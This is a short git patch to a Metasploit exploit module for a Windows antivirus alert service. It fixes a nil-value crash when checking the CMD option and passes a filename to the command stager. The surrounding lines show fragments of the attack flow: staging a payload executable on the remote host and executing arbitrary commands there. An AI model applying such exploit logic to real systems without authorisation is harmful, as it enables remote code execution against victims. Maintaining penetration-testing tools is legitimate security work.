From a4e7e373f367df51fd37a5c0f6544fcd2eb0c7ee Mon Sep 17 00:00:00 2001 From: Vex Woo Date: Tue, 17 May 2016 17:55:18 -0500 Subject: [PATCH] fix ams_xfr.rb - NoMethodError undefined method 'empty?' for nil:NilClass --- modules/exploits/windows/antivirus/ams_xfr.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/modules/exploits/windows/antivirus/ams_xfr.rb b/modules/exploits/windows/antivirus/ams_xfr.rb index 9496760df7..aff52031cf 100644 --- a/modules/exploits/windows/antivirus/ams_xfr.rb +++ b/modules/exploits/windows/antivirus/ams_xfr.rb @@ -57,7 +57,7 @@ class MetasploitModule < Msf::Exploit::Remote exe_fname = rand_text_alphanumeric(4+rand(4)) + ".exe" print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}") - execute_cmdstager({ :temp => '.' }) + execute_cmdstager({ :temp => '.', :cgifname => exe_fname }) @payload_exe = generate_payload_exe print_status("Attempting to execute the payload...") @@ -93,7 +93,7 @@ class MetasploitModule < Msf::Exploit::Remote def exploit - if not datastore['CMD'].empty? + if not (datastore['CMD'].nil? || datastore['CMD'].empty?) print_status("Executing command '#{datastore['CMD']}'") execute_command(datastore['CMD']) return @@ -104,7 +104,7 @@ class MetasploitModule < Msf::Exploit::Remote windows_stager else fail_with(Failure::Unknown, 'Target not supported.') - end + end handler